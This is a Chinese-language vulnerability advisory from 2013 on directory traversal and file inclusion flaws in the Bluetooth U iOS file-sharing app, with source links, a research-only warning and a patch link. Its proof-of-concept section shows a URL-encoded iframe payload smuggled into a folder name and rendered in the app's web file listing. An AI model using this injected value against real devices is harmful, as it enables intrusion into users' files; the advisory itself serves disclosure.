发布日期：2013-10-17
更新日期：2013-10-18

受影响系统：

Apple Bluetooth U - Mobile Web Application

描述：

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BUGTRAQ  ID: 63194

Bluetooth U可确保设备之间文件传输的同步性，而不限制文件类型。

Bluetooth U v1.2.0  iOS移动应用（Apple iOS - iPad & iPhone）存在多个本地目录遍历及文件包含漏洞，远程攻击者通过含特制目录遍历序列的请求，利用此漏洞检索应用上下文中的本地文件。

<*来源：Benjamin Kunz Mejri
  
  链接：http://seclists.org/bugtraq/2013/Oct/81
        http://www.vulnerability-lab.com/get_content.php?id=1111
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

The path/directory-traversl web vulnerability can be exploited by remote attackers without privileged application user
account and also
without user interaction. For demonstration or reproduce ...

PoC: Foldername - Index File Dir Listing (Wifi)

<table id="tableContent" border="0" cellpadding="0" cellspacing="0">
<thead>
<tr><th style="padding-left:10px;"><input id="selecteAll" onclick="selectAll(this)"
type="checkbox"></th><th>Name</th><th>Size</th><th>Modified Date</th><th class="del">Delete</th></tr>
</thead>
<tbody id="filelist"><tr><td>
<input name="chxItem"
value="%3Ciframe%20src%3D%3Fguid%3D%26type%3Dlist%26password%3D%26date%3DSun%20Oct%2013%202013%2017%3A46%3A15%20GMT%2B0200%3E"

onclick="selChkItem(this)" type="checkbox"></td>
<td><a
href="/%3Ciframe%20src%3D%3Fguid%3D%26type%3Dlist%26password%3D%26date%3DSun%20Oct%2013%202013%2017%3A46%3A15%20GMT%2B0200%3E
?guid=1520475B-0653-41FA-8072-CC31D2C5A8F2&type=child" class="file"><span style="vertical-align:middle;"><img
src="/Folder.png"
style="border:0;vertical-align:middle" ;=""></span><iframe src="?guid=&type=list&password=&date=Sun" oct="" 13=""
2013=""
17:46:15="" gmt+0200=""></a></td><td></td><td>2013-10-13 17:53:31</td><td><input name="commit" type="button"
value="Delete"
onclick="DelegateData('/%3Ciframe%20src%3D%3Fguid%3D%26type%3Dlist%26password%3D%26date%3DSun%20Oct%2013%202013%2017%3A46%3A15%20GMT%2B0200%3E'
,'1520475B-0653-41FA-8072-CC31D2C5A8F2');" class='button' /></form></td></tr></tbody></table></iframe></a></td></tr><tr
class="shadow">
<td><input name="chxItem" value="TEST23" onclick="selChkItem(this)" type="checkbox"></td>

建议：

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厂商补丁：

Apple
-----
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

https://itunes.apple.com/de/app/bluetooth-u-share-files-photo/id526268815

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